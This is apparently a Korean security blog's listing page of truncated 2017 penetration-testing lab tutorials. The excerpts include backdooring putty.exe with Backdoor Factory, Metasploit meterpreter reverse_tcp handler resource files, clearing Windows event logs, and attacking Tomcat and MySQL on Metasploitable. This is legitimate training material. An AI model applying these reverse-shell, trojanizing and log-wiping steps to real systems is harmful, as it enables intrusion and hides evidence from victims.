Backdoor Factory를 사용한 악성코드 제작

- 사용시스템KaliLinuxwindow7 - 최신 버전의 Backdoor Factory를 받는다. # git clone https://github.com/secretsquirrel/the-backdoor-factory.git [참고] # apt-get -y install the-backdoor-factory backdoor factory 를 Kali 내장 업데이트로 하면 잘 안됨 ( 버그 ) - 악성코드를 만들기 위해 정상 프로그램 다운로드실습에서 사용할 프로그램은 putty.exe www.putty.org 에서 받은 파일은 Cave 목록에 나오지 않기 때문에 예전버전을 다운받아서 사용합니다. - putty.exe 파일 KaliLinux로 옮기기드래그 앤 드롭을 하면 실습이 안되는 경우가 많기 때문에 ..
Security/정보 수집 2017. 11. 11. 21:22

메타스플로잇을 이용하여 윈도우 2008 로그 삭제하기

- 사용 시스템Window 2008KaliLinux - 윈도우 2008에서 로그 확인시작 > 관리도구 > 이벤트 뷰어 > Window 로그 - 칼리리눅스에서 연결된 세션의 윈도우2008 운영체제 사용자 권한 상승 및 로그 지우기 (Kali)# cd /root/bin# vi reverse_resource2.rc use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.27.50set ExitSession falseexploit -j -z # msfconsole -r reverse_resource2.rc Taking notes in notepad? Have Metasploit Pro track & repo..
Security/정보 수집 2017. 11. 10. 21:42

메타스플로잇을 사용하여 윈도우즈 시스템 장악하기

- 사용시스템KaliLinuxwindow 7 - 리소스(Resource) 파일로 시스템 침투 환경 만들기 Attacker : Kali 공인 IP Program(listen)Victim : Window 사설 IP 악성프로그램(execute) - 백도어 만들기 (kali) # mkdir -p /root/bin# cd /root/bin# vi reverse_resource.rc use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.27.50set ExitSession falseexploit -j -z > 백그라운드로 실행한다. - 페이로드(Payload)를 사용하여 공격 코드 자동 생성 [참고] msfv..
Security/정보 수집 2017. 11. 10. 20:20

메타스플로잇을 이용하여 톰캣(Tomcat) 취약점 공격

- 사용 시스템KaliLinuxMetasploitable V2 Linux (Kali) - 타겟 시스템의 포트/서비스 버전 확인# nmap -sV -p 1-65535 192.168.17.134 Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-10 18:38 KSTStats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 96.67% done; ETC: 18:39 (0:00:03 remaining)Nmap scan report for 192.168.17.134Host is up (0.00069s latency).Not shown: 65505 c..
Security/정보 수집 2017. 11. 10. 19:05

메타스플로잇을 사용하여 사전 파일을 이용한 MySQL 원격 로그인 시도

- 사용 시스템Kali LinuxMetasploitable V2 Linux ( Kali )# nmap -sV 192.168.17.134 /* Metasploit V2 Server IP */ Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-09 19:56 KSTmass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-serversmass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or spec..
Security/정보 수집 2017. 11. 9. 20:07

zenmap을 통해 포트스캔된 정보를 metasploit에서 읽어 들이기

- 사용 시스템Kali LinuxMetasploitable V2 Linux - 필요성msf> db_nmap CMD 출력 내용은 postgresql DB에 저장이 된다. # name CMD 출력 내용은 모니터에 출력된다. # nmap CMD 출력 내용은 postgresql DB에 저장하고 싶다.- nmap CMD 출력 내용 -> 파일 저장 ( scan.xml ) > DB 저장 ( msf>db_import ) - nmap 프로그램을 통해 공격하려고 하는 시스템의 포트 스캔 과정을 거치고 파일로 저장 ( Kali )# zenmap & > scan1.xml 파일로 저장 후 종료 - MSF console 접속후 저장된 파일 import # msfconsole .... 중략....msf > help..
Security/정보 수집 2017. 11. 9. 19:53

메타스플로잇 사용법 ( msfconsole )

- Metasploitable V2 Linux 서버 구축 Metasploitable V2 Linux 에 대한 정보 ( 다운로드 ) : https://community.rapid7.com/docs/DOC-1875 로그인 ID/PASS : msfadmin / msfadmin ( 주의 ) eth0 반드시 NAT로 변경IP: 192.168.17.134/24default router : 192.168.17.2DNS Server : 192.168.10.2 / 168.126.63.1 $ sudo vi /etc/network/interfaces auto eth0iface eth0 inet staticaddress 192.168.10.134netmask 255.255.255.0gateway 192.168.10.2 $ s..
Security/정보 수집 2017. 11. 9. 18:53

메타스폴로잇 (Metasploit)

- 메타스폴로잇 ( Metasploit, Meta Exploit Framework ) 공개된 공격 코드의 불필요한 부분을 정리하고 검증하는데 많은 시간이 소비 되기 때문에 익스플로잇의 제작과 개발을 좀더 유연하고 유지 보수가 가능하도록 만들기 위해 프레임워크를 개발했다. 펄( perl ) 기반의 메타스플로잇은 루비 언어로 완전히 재작성한 후 2007년에 메타스플로잇 3.0을 공개했다. 지금까지 루비로 작성된 가장 복잡한 프로젝트 중 하나이다. [참고] 루비( Ruby ) 마츠모토 유키히로가 개발한 동적 객체 지향 스크립트 프로그래밍 언어 루비는 스트레스가 없는 쉬운 프로그래밍이고, 우리의 삶을 반영해야 하며, 프로그램 언어는 인간 중심으로 설계되어야 한다. - 메타스플로잇 프레임워크 ( Metasploi..
Security/정보 수집 2017. 11. 9. 18:12

스캐닝 ( SCAN )

- 용어풋프린팅(Footprinting)공격 대상의 정보를 모으는 방법(기술적인 해킹 공격, 신문, 게시판, 구글링등)풋 프린팅에는 매우 다양한 기법이 있으며, 매우 넓은 범위가 포함된다. 사회공학(Social Engineering)기술적인 해킹에 의한 방법이 아닌, 개인적인 인간관계, 업무적 관계 등을 이용한 방법(EX: 훔쳐보기등)비 기술적인 경로를 이용해서 정보를 모으는 방법 - 스캐닝(Scanning) 스캔(Scan)서비스를 제공하는 서버의 작동 여부와 제공하고 있는 서비스를 확인TCP 기반의 프로토콜의 질의(Request)/응답(Response) 메커니즘 사용열려 있는 포트, 제공하는 서비스, 동작중인 데몬의 버전, 운영체제의 버전, 취약점 등 다양한 정보 획득 가능일반적으로 nmap, ness..
Security/정보 수집 2017. 11. 3. 21:42

말테고 ( maltego )

- 말테고 ( maltego )paterva 회사 서버를 기반으로 로컬 PC에서 정보를 수집할 수 있는 툴 https://www.paterva.com/web7/ - 실습( kali ) # apt-get install -y maltego # maltego & > Community Edition 클릭 > 회원가입이 필요합니다. 이름/ 이메일주소만 입력하면 됩니다. ( 이메일로 승인 메일이 전송됩니다. ) > Next > black graph 로 Finish > 가장 오래걸리지만 가장 자세히 알 수 있는 Footprint L3 을 선택해서 확인해봅니다. > Domain을 입력하라는 창이 뜨는대 google.com 을 찾아봅니다. > 자동으로 그래프가 생성됩니다. > 그래프 형식도 바꿀 수 있고 색 별로 어떻게..
Security/정보 수집 2017. 11. 3. 21:33